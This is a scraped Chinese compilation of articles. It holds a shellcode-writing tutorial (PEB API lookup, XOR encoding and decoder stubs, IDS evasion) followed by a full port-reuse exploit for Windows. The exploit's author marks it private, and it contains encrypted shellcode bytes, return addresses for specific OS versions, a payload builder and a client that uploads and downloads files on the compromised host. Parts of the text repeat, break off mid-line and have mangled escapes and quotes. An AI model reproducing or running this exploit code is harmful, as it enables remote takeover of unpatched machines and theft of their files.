⒋Shellcode编码问题。

⒌多态技术躲避IDS检测。

现在我们就来研究这些问题在处理时常用的方法。

Shellcode编写技术

⒈Shellcode编写语言

Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。Shellcode使用汇编语言编写是最

具可控性的,因为我们完全可以通过指令控制代码生成,缺点就是需要大量的时间,而且还要你深入了解汇编。如果你

想追求速度,C是不错的选择。C语言编写起来较为省力,但Shellcode提取较为复杂,不过,一旦写好模板,就省事许

多。例如,这里有一个写好的模板:

void Shellcode

{

__asm

{

nop

nop

nop

nop

nop

nop

nop

nop

}

}

然后在main()中用函数指针操作和memcmp定位shellcode,用pintf之类函数将shellcode打出来或保存即可。示

例代码略。纵观当前shellcode,大部分是由C完成的,因此,想来大家已经取舍完了吧?

⒉Shellcode代码地址定位,获取程序EIP,

为什么要获取EIP呢?原因是,我们需要我们的Shellcode能够执行,对病毒技术有了解的话,应该知道他们是怎么

定位的:利用CALL/POP来实现。

这里就不得不提到两种方法:JMP ESP和CALL/POP EBX。这是人们在对windows系统熟悉之后的方法,成功率非常

高。相信看过王炜兄的教程的朋友应该有印象吧。这里我就简单说一下。

我们的方法时通过Shellcode地址覆盖返回地址,在溢出后即可跳转到我们的代码中,以获取权限。而Shellcode

在内存中的地址并不固定,因此我们利用系统的DLL文件中的JMP ESP或CALL ESP、CALL EBP来实现对Shellcode地址

的间接跳转。这样有两个好处,一是不必准确定位Shellcode地址;二是可以防止strcpy对00字节的截断,因为DLL文

件中,地址一般为7FXXXXXX。具体细节,网上已有相关的东东,大家自己找来看看吧。

⒊Shellcode中的API地址定位。

Shellcode代码的运行环境和病毒在某些方面是类似的,由于系统不同,Api的地址也不尽相同。因此,要想让

Shellcode在不同Windows下运行就必须解决Api的定位问题。API定位的关键是了解Windows DLL映像文件格式,即PE

文件格式,然后通过搜索函数的Export表获取API地址。定位方法有暴力搜索法、从进程PEB中获取和遍历SEH链法。我

们这里使用从进程PEB中获取,示例代码如下:

__asm

{

push ebp;

sub     esp, 0x40;

mov     ebp,esp;

push ebp;

mov eax, fs:0x30                           ;PEB

mov eax, [eax + 0x0c]                           ;Ldr

mov esi, [eax + 0x1c]                           ;Flink

lodsd

mov edi, [eax + 0x08]                           ;edi就是kernel32.dll的地址

&nb

篇6:Shellcode是什么 Shellcode技术杂谈

今天在查找关于shellcode的资料时,无意间看到的,感觉不错,分享给大家。

Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的

主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是

Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得

尤为重要。

小弟经过一段时间的修炼,自以为对Shellcode小有心得,故在这里写出来,博君一笑。不当之处,还请各位高人

不吝指教。

什么是Shellcode

我在这里简单讲一下什么是Shellcode。Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器

利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。

Shellcode编写考虑因素

Shellcode一般作为数据发送给服务端造成溢出,不同数据对数据要求不同,因此,Shellcode也不一定相同。但

Shellcode在编写过程中,有些问题是一致的:

⒈Shellcode的编写语言。

用什么语言编写最适合Shellcode呢?这个问题没有定论。一般采用的是C语言,速度较快,但是ASM更便于控制

Shellcode的生成。到底是快速编写还是完全控制呢?很难回答呢。

⒉Shellcode本身代码的重定位。Shellcode的流程控制,即如何通过溢出使控制权落在Shellcode手中

⒊。Shellcode中使用的API地址定位。

⒋Shellcode编码问题。

⒌多态技术躲避IDS检测。

现在我们就来研究这些问题在处理时常用的方法。

Shellcode编写技术

⒈Shellcode编写语言

Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。Shellcode使用汇编语言编写是最

具可控性的,因为我们完全可以通过指令控制代码生成,缺点就是需要大量的时间,而且还要你深入了解汇编。如果你

想追求速度,C是不错的选择。C语言编写起来较为省力,但Shellcode提取较为复杂,不过,一旦写好模板,就省事许

多。例如,这里有一个写好的模板:

void Shellcode()

{

__asm

{

nop

nop

nop

nop

nop

nop

nop

nop

}

}

然后在main()中用函数指针操作和memcmp定位shellcode,用pintf之类函数将shellcode打出来或保存即可。示

例代码略。纵观当前shellcode,大部分是由C完成的,因此,想来大家已经取舍完了吧?

⒉Shellcode代码地址定位,获取程序EIP。

为什么要获取EIP呢?原因是,我们需要我们的Shellcode能够执行,对病毒技术有了解的话,应该知道他们是怎么

定位的:利用CALL/POP来实现。

这里就不得不提到两种方法:JMP ESP和CALL/POP EBX。这是人们在对windows系统熟悉之后的方法,成功率非常

高。相信看过王炜兄的教程的朋友应该有印象吧。这里我就简单说一下。

我们的方法时通过Shellcode地址覆盖返回地址,在溢出后即可跳转到我们的代码中,以获取权限。而Shellcode

在内存中的地址并不固定,因此我们利用系统的DLL文件中的JMP ESP或CALL ESP、CALL EBP来实现对Shellcode地址

的间接跳转。这样有两个好处,一是不必准确定位Shellcode地址;二是可以防止strcpy对00字节的截断,因为DLL文

件中,地址一般为7FXXXXXX。具体细节,网上已有相关的东东,大家自己找来看看吧。

⒊Shellcode中的API地址定位。

Shellcode代码的运行环境和病毒在某些方面是类似的,由于系统不同,Api的地址也不尽相同。因此,要想让

Shellcode在不同Windows下运行就必须解决Api的定位问题。API定位的关键是了解Windows DLL映像文件格式,即PE

文件格式,然后通过搜索函数的Export表获取API地址。定位方法有暴力搜索法、从进程PEB中获取和遍历SEH链法。我

们这里使用从进程PEB中获取,示例代码如下:

__asm

{

push ebp;

sub     esp, 0x40;

mov     ebp,esp;

push ebp;

mov eax, fs:0x30                           ;PEB

mov eax, [eax + 0x0c]                           ;Ldr

mov esi, [eax + 0x1c]                           ;Flink

lodsd

mov edi, [eax + 0x08]                           ;edi就是kernel32.dll的地址

mov            eax, [edi+3Ch]                   ;eax = PE首部

mov            edx,[edi+eax+78h]

add            edx,edi                           ;edx = 输出表地址

mov            ecx,[edx+18h]                   ;ecx = 输出函数的个数

mov            ebx,[edx+20h]

add            ebx,edi                           ;ebx =函数名地址,AddressOfName

search:

dec            ecx

mov            esi,[ebx+ecx*4]

add            esi,edi                           ;依次找每个函数名称

;GetProcAddress

mov                           eax,0x50746547

cmp                           [esi],           eax;           'PteG'

jne                   search

mov                           eax,0x41636f72

cmp                           [esi+4],eax;           'Acor'

jne                   search

;如果是GetProcA,表示找到了

mov            ebx,[edx+24h]

add            ebx,edi                           ;ebx = 索引号地址,AddressOf

mov            cx,[ebx+ecx*2]                   ;ecx = 计算出的索引号值

mov            ebx,[edx+1Ch]

add            ebx,edi                           ;ebx = 函数地址的起始位置,AddressOfFunction

mov            eax,[ebx+ecx*4]

add            eax,edi                           ;利用索引值,计算出GetProcAddress的地址

mov           [ebp+40h], eax                                   ;把GetProcAddress的地址存在 ebp+40中

接下来是使用GetProcAddress()和LoadLibraryA()获取其他需要函数了,和C没什么两样,略过了吧,很累呢,

⒋Shellcode的编码问题。

写过Shellcode的兄弟对这个应该恨熟吧?例如:strcpy函数中不能有0x00,RPC DOCM溢出时不能用0x5c等等。

因为假如有这些字符,会导致服务中断Shellcode,溢出失败。不同溢出对shellcode要求不同,当然需要精选字符来

达到目的,这样太累了些,简单点就是写一段代码,示例如下:

for(i=0;i        ch=sc_buff^Enc_key;

//对可能字符进行替换

if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')

{

buff='0';

++k;

ch+=0x31;

}

//将编码Code放在DecryptSc后

buff[k]=ch;

++k;

}

解码时代码 解码时代码,示例如下:

jmp      next

getEncodeAddr:

pop      edi

push      edi

pop       esi

xor       ecx,ecx

Decrypt_lop:

loasb

cmp      al,cl

jz       shell

cmp      al,0x30     //判断是否为特殊字符

jz       specal_char_clean

store:

xor      al,Enc_key

stosb

jmp      Decrypt_lop

special_char_clean:

lodsb

sub      al,0x31

jmp      store

next:

call     getEncodeAddr

这里只给了一个简单的例子,面对对Unicode编码有要求的,限于篇幅,这里就不详解了。

写在最后

编写调试Shellcode很是辛苦,但完成之后却有巨大的成就感。这里不是教你做EXP去害人,只是从研究角度出发,

让大家了解这种技术,从而加以防范,为网络和平安宁奉献自己的力量。最后,我附带了一个作为示例的Shellcode代

码,大家可以参考Sample.cpp来看看。

篇7:端口复用shellcode

硬盘里有很多使用各种各样的技巧来实现端口复用的shellcode,都是以前写的,翻出来一个比较矬的,贴到这里。想扩展的朋友可以自己改。 这个shellcode也可以很方便的扩展为写C/S类型的exploit模板

这是 stage1 shellcode。

怀旧shellcode系列就贴到此为止了,老是在blog上贴这种代码似乎没什么人看。

/*

author: axis@ph4nt0m.org

Team: Ph4nt0m Security Team(www.ph4nt0m.org)

Date:

*/

#include

#include

#include

#include

#pragma comment (lib,“ws2_32”)

struct OSTYPE

{

unsigned char ret[8];

char des[255];

};

OSTYPE os[] = {

{“xe1x1exfax7f”, “Windows CN ALL POP/POP/RET”},

{“x5ax21x01x78”, “Windows SP3/SP4 ALL POP/POP/RET msvcrt.dll”},

{“x12x45xfax7f”, “Windows CN JMPESP address from Chinese Ansi Code Page”},

{“x34x33x80x7c”, “Windows CN SP1 CALL EAX”},

{“x9fxd6xc1x77”, “WindowsXP CN SP2 JMP EAX”},

{“x41x42x43x44”, “Ret Addr For Test”}

};

#define POP_POP_RET “xfdx2ex92x7c” //pop ebp,pop ebx,ret xp sp2 cn

char Payload[400] = “”; //server.exe

#define Magic_Len 1102

// 1098 +4 = 1102 bytes put/get 文件传输,传输加密 Xor_key = 0x33

char magic_shellcode[] =

“axisx53xe9xd3x03x00x00x5fx64xa1x30x00x00x00x8bx40x0c”

“x8bx70x1cxadx8bx68x08x8bxf7x6ax0ex59xe8x73x03x00”

“x00xe2xf9x68x33x32x00x00x68x77x73x32x5fx54xffx16”

“x8bxe8x6ax0dx59xe8x5ax03x00x00xe2xf9x83xc4x08x5b”

“x89x5ex70x6ax01x6ax00x6ax0cx8bxdcx68xffx00x00x00”

“x53x8dx56x74x52x83xc2x04x52xffx56x0cx68x5cx30x00”

“x00x68x70x69x70x65x68x5cx5cx2ex5cx8bxfcx33xc0x50”

“x50x50x50x68xffx00x00x00x50x68x03x00x00x40x57xff”

“x56x10x89x86x80x00x00x00x33xc0x50x50x6ax03x53x50”

“x68x00x00x00x02x57xffx56x24x89x46x7cx68x63x6dx64”

“x00x8dx14x24x83xecx54x8bxfcx6ax14x59x33xc0x89x04”

“x8fxe2xfbxc6x47x10x44xfex47x3cxfex47x3dxffx76x78”

“x5bx89x5fx48xffx76x7cx5bx89x5fx4cx89x5fx50x8dx47”

“x10x57x50x51x51x51x6ax01x51x51x52x51xffx56x04xff”

“x37x8fx86x84x00x00x00xffx77x04x8fx86x88x00x00x00”

“xffx76x78xffx56x14xffx76x7cxffx56x14x83xc4x6cx33”

“xc0x50x6ax01x6ax01x50xffx56x18x89x86x8cx00x00x00”

“x33xdbx89x9exa4x00x00x00x89x86xa8x00x00x00xffx56”

“x58x89x86x90x00x00x00xc7x86x94x00x00x00x00x00x00”

“x00x6ax21xffxb6x90x00x00x00xffx76x70xffx56x5cx33”

“xc0x48x50x40x50x8dx9ex8cx00x00x00x53x6ax02xffx56”

“x1cx50x8dx9exf0x00x00x00x53xffxb6x90x00x00x00xff”

“x76x70xffx56x60x6ax00xffxb6x90x00x00x00xffx76x70”

“xffx56x5cx6ax00x54x68x7ex66x04x80xffx76x70xffx56”

“x64x58x59xe3x5cx49x0fx85xdbx00x00x00x6ax00x6ax40”

“x8dx96xf0x00x00x00x52xffx76x70xffx56x50x8dx96xf0”

“x00x00x00x50x59xe8xe2x01x00x00x81xbexf0x00x00x00”

“x67x65x74x20x0fx84xe4x00x00x00x81xbexf0x00x00x00”

“x70x75x74x20x0fx84x43x01x00x00x6ax00x8dx9exacx00”

“x00x00x53x50x8dx9exf0x00x00x00x53xffx76x74xffx56”

“x2cx8bx8ex94x00x00x00xe3x1dx50x8dx9exacx00x00x00”

“x53x8dx9ex98x00x00x00x53xffxb6x80x00x00x00xffx56”

“x20x91xe3x63xebx2ex8dx9ex98x00x00x00x53x8dx9exac”

“x00x00x00x53x6ax40x8dx9exb0x00x00x00x53xffxb6x80”

“x00x00x00xffx56x28xffx86x94x00x00x00x85xc0x0fx84”

“xfdxfexffxffx8dx96xb0x00x00x00xffxb6xacx00x00x00”

“x59xe8x46x01x00x00xffx8ex94x00x00x00x6ax00x8bx9e”

“xacx00x00x00x53x8dx9exb0x00x00x00x53xffx76x70xff”

“x56x54xe9xcaxfexffxffxffxb6x84x00x00x00xffx56x08”

“xffxb6x84x00x00x00xffxb6x88x00x00x00xffxb6x80x00”

“x00x00xffx76x74xffx56x14xffx56x14xffx56x14xffx56”

“x14xffx76x70xffx56x68x33xc0x48x50xffx56x08xc6x84”

“x06xefx00x00x00x00x8dx96xf4x00x00x00x33xc0x50x50”

“x6ax03x50x50x68x00x00x00x02x52xffx56x24x89x46x7c”

“x6ax00x8dx96xacx00x00x00x52x6ax40x8dx96xb0x00x00”

“x00x52xffx76x7cxffx56x28x8bx8exacx00x00x00xe3x22”

“x8dx96xb0x00x00x00xe8xa1x00x00x00x6ax00xffxb6xac”

“x00x00x00x8dx96xb0x00x00x00x52xffx76x70xffx56x54”

“xebxbexffx76x7cxffx56x14xe9x24xfexffxffxc6x84x06”

“xefx00x00x00x00x8dx96xf4x00x00x00x33xc0x50x50x6a”

“x02x50x50x68x00x00x00x02x52xffx56x24x89x46x7cx6a”

“x00x6ax40x8dx96xb0x00x00x00x52xffx76x70xffx56x50”

“x8dx96xb0x00x00x00x50x59xe8x3fx00x00x00x6ax00x8d”

“x96xacx00x00x00x52x50x8dx96xb0x00x00x00x52xffx76”

“x7cxffx56x2cx6ax00x54x68x7fx66x04x40xffx76x70xff”

“x56x64x59xe3x02xebxb8xffx76x7cxffx56x14xc6x86xf0”

“x00x00x00x0ax6ax01x58xe9x3exfexffxffx4ax80x34x0a”

“x33xe2xfaxc3x51x56x8bx75x3cx8bx74x2ex78x03xf5x56”

“x8bx76x20x03xf5x33xc9x49x41xadx03xc5x33xdbx0fxbe”

“x10x3axd6x74x08xc1xcbx07x03xdax40xebxf1x3bx1fx75”

“xe7x5ex8bx5ex24x03xddx66x8bx0cx4bx8bx5ex1cx03xdd”

“x8bx04x8bx03xc5xabx5ex59xc3xe8x28xfcxffxffx32x74”

“x91x0cxc9xbcxa6x6bx8fxf2x18x61x4ax79x19x7axa8x4b”

“x60x9ex57x66x0dxffx76x91x4dx6dx88x58xb3xacx8ax87”

“x66x62x93x32xe4x94xb2x36x0fx13xc4x8dx1fx74xd3x88”

“x28x49xa0x65x97xcbx3dx6axb4x80x2dx32x78xdex98xc4”

“xb9xdex64x10xa7xddx0cx9fxd3x4bxb1x1ex97x01x76x90”

“x97xc7x64x98x97xddx96xd5xd5xa8x9cx07xdcx5axd8x10”

“x27xa7x52x83xe9xeax4cx0fx29xd1”;

//char Payload[1600] = “”; //server_big.exe

#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90

__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90

#define PROC_END PROC_BEGIN

unsigned char sh_Buff[2048]; // recv real shellcode

unsigned int sh_Len;

unsigned int Enc_key=0x99; //其实无关紧要,动态寻找

#define Xor_key 0x33 //加密传输

unsigned char decode1[] =

/*

00401004 . /EB 0E JMP SHORT encode.00401014

00401006 $ |5B POP EBX

00401007 . |4B DEC EBX

00401008 . |33C9 XOR ECX,ECX

0040100A . |B1 FF MOV CL,0FF

0040100C > |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99

00401010 .^|E2 FA LOOPD SHORT encode.0040100C

00401012 . |EB 05 JMP SHORT encode.00401019

00401014 > E8 EDFFFFFF CALL encode.00401006

*/

“xEBx0Ex5Bx4Bx33xC9xB1”

“xFF” // shellcode size

“x80x34x0B”

“x99” // xor byte

“xE2xFAxEBx05xE8xEDxFFxFFxFF”;

unsigned

char decode2[] =

/* ripped from eyas

00406030 /EB 10 JMP SHORT 00406042

00406032 |5B POP EBX

00406033 |4B DEC EBX

00406034 |33C9 XOR ECX,ECX

00406036 |66:B9 6601 MOV CX,166

0040603A |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99

0040603E ^|E2 FA LOOPD SHORT 0040603A

00406040 |EB 05 JMP SHORT 00406047

00406042 E8 EBFFFFFF CALL 00406032

*/

“xEBx10x5Bx4Bx33xC9x66xB9”

“x66x01” // shellcode size

“x80x34x0B”

“x99” // xor byte

“xE2xFAxEBx05xE8xEBxFFxFFxFF”;

// kernel32.dll functions index

#define _LoadLibraryA 0x00

#define _WaitForSingleObjectEx 0x04

#define _Sleep 0x08

// ws2_32.dll functions index

#define _recv 0x0c

#define _ioctlsocket 0x10

// functions number

#define _Knums 3

#define _Wnums 2

// Need functions

unsigned char functions[100][128] =

{

// kernel32

{“LoadLibraryA”},

{“WaitForSingleObjectEx”},

{“Sleep”},

// ws2_32

{“recv”},

{“ioctlsocket”},

{“”},

};

void PrintSc(unsigned char *lpBuff, int buffsize);

void ShellCode;

// Get function hash

unsigned long hash(unsigned char *c)

{

unsigned long h=0;

while(*c)

{

h = ( ( h << 25 ) | ( h >> 7 ) ) + *c++;

}

return h;

}

// get shellcode

void GetShellCode()

{

char *fnbgn_str=“x90x90x90x90x90x90x90x90x90”;

char *fnend_str=“x90x90x90x90x90x90x90x90x90”;

unsigned char *pSc_addr;

unsigned char pSc_Buff[1024];

unsigned int MAX_Sc_Len=0x2000;

unsigned long dwHash[100];

unsigned int dwHashSize;

unsigned int l,i,j,k;

// Get functions hash

for (i=0;;i++) {

if (functions[i][0] == 'x0') break;

dwHash[i] = hash(functions[i]);

//fprintf(stderr, “%.8Xt%sn”, dwHash[i], functions[i]);

}

dwHashSize = i*4;

// Deal with shellcode

pSc_addr = (unsigned char *)ShellCode;

for (k=0;k

if(memcmp(pSc_addr+k,fnbgn_str, 8)==0) {

break;

}

}

pSc_addr+=(k+8); // start of the ShellCode

for (k=0;k

if(memcmp(pSc_addr+k,fnend_str, 8)==0) {

break;

}

}

sh_Len=k; // length of the ShellCode

memcpy(pSc_Buff, pSc_addr, sh_Len);

// Add functions hash

memcpy(pSc_Buff+sh_Len, (unsigned char *)dwHash, dwHashSize);

sh_Len += dwHashSize;

printf(“%d bytes shellcoden”, sh_Len);

// print shellcode

PrintSc(pSc_Buff, sh_Len);

// find xor byte

for(i=0xff; i>0; i--)

{

l = 0;

for(j=0; j

{

if (

// ((pSc_Buff[j] ^ i) == 0x26) || //%

// ((pSc_Buff[j] ^ i) == 0x3d) || //=

// ((pSc_Buff[j] ^ i) == 0x3f) || //?

((pSc_Buff[j] ^ i) == 0x40) || //@

((pSc_Buff[j] ^ i) == 0x00) ||

((pSc_Buff[j] ^ i) == 0x0D) ||

((pSc_Buff[j] ^ i) == 0x3c) || // <

((pSc_Buff[j] ^ i) == 0x3e) || // >

((pSc_Buff[j] ^ i) == 0x2a) || // *

((pSc_Buff[j] ^ i) == 0x3a) || // :

((pSc_Buff[j] ^ i) == 0x20) || // 空格

((pSc_Buff[j] ^ i) == 0x22) || // “

((pSc_Buff[j] ^ i) == 0x0A) ||

((pSc_Buff[j] ^ i) == 0x2F) || // /

((pSc_Buff[j] ^ i) == 0x5C) // ”“

)

{

l++;

break;

};

}

if (l==0)

{

Enc_key = i;

//printf(”Find XOR Byte: 0x%02Xn“, i);

for(j=0; j

{

pSc_Buff[j] ^= Enc_key;

}

break; // break when found xor byte

}

}

// No xor byte found

if (l!=0){

//fprintf(stderr, ”No xor byte found!n“);

sh_Len = 0;

}

else {

//fprintf(stderr, ”Xor byte 0x%02Xn“, Enc_key);

// encode

if (sh_Len > 0xFF) {

*(unsigned short *)&decode2[8] = sh_Len;

*(unsigned char *)&decode2[13] = Enc_key;

memcpy(sh_Buff, decode2, sizeof(decode2)-1);

memcpy(sh_Buff+sizeof(decode2)-1, pSc_Buff, sh_Len);

sh_Len += sizeof(decode2)-1;

}

else {

*(unsigned char *)&decode1[7] = sh_Len;

*(unsigned char *)&decode1[11] = Enc_key;

memcpy(sh_Buff, decode1, sizeof(decode1)-1);

memcpy(sh_Buff+sizeof(decode1)-1, pSc_Buff, sh_Len);

sh_Len += sizeof(decode1)-1;

}

}

}

// print shellcode

void PrintSc(unsigned char *lpBuff, int buffsize)

{

int i,j;

char *p;

char msg[4];

fprintf(stderr, ”/* %d bytes */n“,buffsize);

for(i=0;i

{

if((i%16)==0)

if(i!=0)

fprintf(stderr, ”“n”“);

else

fprintf(stderr, ”“”);

sprintf(msg,“\x%.2X”,lpBuff[i]&0xff);

for( p = msg, j=0; j < 4; p++, j++ )

{

if(isupper(*p))

fprintf(stderr, “%c”, _tolower(*p));

else

fprintf(stderr, “%c”, p[0]);

}

}

fprintf(stderr, “”;n“);

}

// recv real shellcode function

void ShellCode()

{

__asm{

PROC_BEGIN //C macro to begin proc

jmp locate_addr

func_start:

pop edi ; get eip

mov eax, fs:30h

mov eax, [eax+0Ch]

mov esi, [eax+1Ch]

lodsd

mov ebp, [eax+8] ; base address of kernel32.dll

mov esi, edi

push _Knums

pop ecx

GetKFuncAddr: ; find functions from kernel32.dll

call find_hashfunc_addr

loop GetKFuncAddr

push 3233h

push 5F327377h ; ws2_32

push esp

call dword ptr [esi+_LoadLibraryA]

mov ebp, eax ; base address of ws2_32.dll

push _Wnums

pop ecx

GetWFuncAddr: ; find functions from ws2_32.dll

call find_hashfunc_addr

loop GetWFuncAddr

//find_s:

xor ebx, ebx

push 1000 ; sleep to wait for character send

call dword ptr [esi+_Sleep] ; maybe it is necessary in real internet

sub esp, 2000 ;在栈里分配空间,这里是2000 放在loop前比较稳定

mov edi, esp ; 把edi指过来

find_s_loop:

inc ebx ; socket

push 1

push 10

push ebx

call dword ptr [esi+_WaitForSingleObjectEx]

test eax, eax ; ensure ebx is socket

jnz find_s_loop

push 0

push esp ; 指向命令参数的指针,这里最好找个为内容空的地址,

push 4004667Fh ; FIONREAD

push ebx ;socket

call dword ptr [esi+_ioctlsocket]

pop ecx ; ensure this socket have 4 bit to read

cmp ecx, Magic_Len

jne find_s_loop

push 0

push Magic_Len ;shellcode recv的长度

push edi ;shellcode 要写入的地址,这里在栈里

push ebx

call dword ptr [esi+_recv]

mov esp, edi

pop eax

cmp eax, 73697861h ; recieve ”axis“?

jnz find_s_loop

jmp esp ;直接jmp esp去执行我们的shellcode,因为前面的axis四字节,这里shellcode起址正好是esp

// int 3 //0xcc 调试shellcode用

find_hashfunc_addr:

push ecx

push esi

mov esi, [ebp+3Ch] ; e_lfanew

mov esi, [esi+ebp+78h] ; ExportDirectory RVA

add esi, ebp ; rva2va

push esi

mov esi, [esi+20h] ; AddressOfNames RVA

add esi, ebp ; rva2va

xor ecx, ecx

dec ecx

find_start:

inc ecx

lodsd

add eax, ebp

xor ebx, ebx

hash_loop:

movsx edx, byte ptr [eax]

cmp dl, dh

jz short find_addr

ror ebx, 7 ; hash

add ebx, edx

inc eax

jmp short hash_loop

find_addr:

cmp ebx, [edi] ; compare to hash

jnz short find_start

pop esi ; ExportDirectory

mov ebx, [esi+24h] ; AddressOfNameOrdinals RVA

add ebx, ebp ; rva2va

mov cx, [ebx+ecx*2] ; FunctionOrdinal

mov ebx, [esi+1Ch] ; AddressOfFunctions RVA

add ebx, ebp ; rva2va

mov eax, [ebx+ecx*4] ; FunctionAddress RVA

add eax, ebp ; rva2va

stosd ; function address save to [edi]

pop esi

pop ecx

retn

locate_addr:

call func_start

PROC_END //C macro to end proc

}

}

void Make_Payload(int q)

{

// server.exe

memset(Payload, 0x90, sizeof(Payload)-1);

memcpy(Payload + 52, &os[q].ret, 4);

strcpy(Payload + 56, (const char *)sh_Buff);

memcpy(Payload + 56 + strlen((const char *)sh_Buff), ”x90“, 1); //为了填充strcpy shellcode后所造成的x00

/*

//server_big.exe jmp esp

memset(Payload, 0x90, sizeof(Payload)-1);

memcpy(Payload + 1204, &os[q].ret, 4);

strcpy(Payload + 1208, (const char *)sh_Buff);

memcpy(Payload + 1208 + strlen((const char *)sh_Buff), ”x90“, 1);

*/

/*

// server_big.exe overwrite esp+8 (seh)

// server_big.exe 覆盖 SEH

memset(Payload, 0x90, sizeof(Payload)-1);

memcpy(Payload + 1204, POP_POP_RET, 4); //覆盖 eip pop/pop/ret

memcpy(Payload + 1208, &os[q].ret, 4); // 覆盖 esp

memcpy(Payload + 1212, &os[q].ret, 4); // 覆盖 esp+4

memcpy(Payload + 1216, &os[q].ret, 4); // 覆盖 SEH jmp esp

// memcpy(Payload + 1220, ”x00“, 1);

strcpy(Payload + 1220, (const char *)sh_Buff);

memcpy(Payload + 1220 + strlen((const char *)sh_Buff), ”x90“, 1);

*/

PrintSc((unsigned char *)Payload, sizeof(Payload));

}

// ripped from isno

int Make_Connection(char *address,int port,int timeout)

{

struct sockaddr_in target;

SOCKET s;

int i;

DWORD bf;

fd_set wd;

struct timeval tv;

s = socket(AF_INET,SOCK_STREAM,0);

if(s<0)

return -1;

target.sin_family = AF_INET;

target.sin_addr.s_addr = inet_addr(address);

if(target.sin_addr.s_addr==0)

{

closesocket(s);

return -2;

}

target.sin_port = htons(port);

bf = 1;

ioctlsocket(s,FIONBIO,&bf);

tv.tv_sec = timeout;

tv.tv_usec = 0;

FD_ZERO(&wd);

FD_SET(s,&wd);

connect(s,(struct sockaddr *)&target,sizeof(target));

if((i=select(s+1,0,&wd,0,&tv))==(-1))

{

closesocket(s);

return -3;

}

if(i==0)

{

closesocket(s);

return -4;

}

i = sizeof(int);

getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);

if((bf!=0)||(i!=sizeof(int)))

{

closesocket(s);

return -5;

}

ioctlsocket(s,FIONBIO,&bf);

return s;

}

void xor_buf(unsigned char *buf, int size)

{

int i;

for (i=0; i

buf[i] ^= Xor_key;

}

return;

}

/* ripped from TESO code and modifed by ey4s for win32 */

void shell (int sock)

{

int l,i,size=0,get_size=0;

char buf[1024];

char filename[128];

HANDLE hFile;

fd_set FdRead;

struct timeval time;

unsigned long ul[2];

time.tv_sec = 1;

time.tv_usec = 0;

while (1)

{

ul[0] = 1;

ul[1] = sock;

l = select (0, (fd_set *)&ul, NULL, NULL, &time);

if(l==1)

{

l = recv (sock, buf, sizeof (buf), 0);

if (l <= 0)

{

printf (”[-] Connection closed.n“);

return;

}

xor_buf((unsigned char *)buf, l);

l = write (1, buf, l);

if (l <= 0)

{

printf (”[-] Connection closed.n“);

return;

}

}

else

{

l = read (0, buf, sizeof (buf));

if (l <= 0)

{

printf(”[-] Connection closed.n“);

return;

}

xor_buf((unsigned char *)buf, l);

l = send(sock, buf, l, 0);

if (l <= 0)

{

printf(”[-] Connection closed.n“);

return;

}

xor_buf((unsigned char *)buf, l);

//+--------------------------------------------

// get xxx download xxx

// put xxx upload xxx

//+--------------------------------------------

if (strncmp(buf, ”get“, 3) == 0)

{

// obtain filename

buf[l-1] = 0;

for (i=l;i>0;i--) {

if (buf[i] == '\' || buf[i] == ' ') {

break;

}

}

strncpy(filename, buf+i+1, l-i-1);

hFile = CreateFile(

filename,

GENERIC_READ|GENERIC_WRITE,

FILE_SHARE_READ,

NULL,

CREATE_ALWAYS,

FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_ARCHIVE,

(HANDLE)NULL

);

if ( hFile == INVALID_HANDLE_VALUE ) {

printf(”Create File %s Error!n“, filename);

continue;

}

size = 0;

FD_ZERO(&FdRead);

FD_SET(sock, &FdRead);

for (;;) {

l = recv(sock, buf, sizeof(buf), 0);

xor_buf((unsigned char *)buf, l);

WriteFile(hFile, buf, l, (unsigned long *)&i, NULL);

size += i;

l = select (0, &FdRead, NULL, NULL, &time);

if (l != 1) {

memset(buf, 0x0a, 1);

xor_buf((unsigned char *)buf, 1);

l = send(sock, buf, 1, 0);

break;

}

}

printf(”Download remote file %s (%d bytes)!n“, filename, size);

CloseHandle(hFile);

}

else if (strncmp(buf, ”put“, 3) == 0)

{

Sleep(1000);

// obtain filename

buf[l-1] = 0;

for (i=l;i>0;i--) {

if (buf[i] == '\' || buf[i] == ' ') {

break;

}

}

strncpy(filename, buf+i+1, l-i-1);

// open file

hFile = CreateFile(

filename,

GENERIC_READ|GENERIC_WRITE,

FILE_SHARE_READ,

NULL,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_ARCHIVE,

(HANDLE)NULL

);

if ( hFile == INVALID_HANDLE_VALUE ) {

printf(”Open File %s Error!n“, filename);

continue;

}

size = 0;

// read file and send

for (;;)

{

ReadFile(hFile, buf, 1024, (unsigned long *)&i, NULL);

if (i == 0)

{

break;

}

xor_buf((unsigned char *)buf, i);

l = send(sock, buf, i, 0);

size += l;

}

printf(”Upload remote file %s (%d bytes)...“, filename, size);

l = recv (sock, buf, sizeof (buf), 0);

xor_buf((unsigned char *)buf, l);

l = write (1, buf, l);

CloseHandle(hFile);

}

}

}

}

void Disconnect(SOCKET s)

{

closesocket(s);

WSACleanup();

}

void help(char *n)

{

printf(”+--------------------------------------------------------+n“);

printf(” Reuse port (Find Sock) Exploit by axis@ph4nt0mn“);

printf(” Ver 1.0 Please Keep it Private!n“);

printf(”+--------------------------------------------------------+n“);

printf(” Usage:n“);

printf(” %s [Target IP] [Target Port] [OSType]nn“, n);

printf(” == OSType:n“);

printf(” 0. Windows CN ALL SP1 POP/POP/RET n“);

printf(” 1. Windows2000 SP3/SP4 ALL POP/POP/RETn“);

printf(” 2. Windows CN ALL JMP ESP from ansi pagen“);

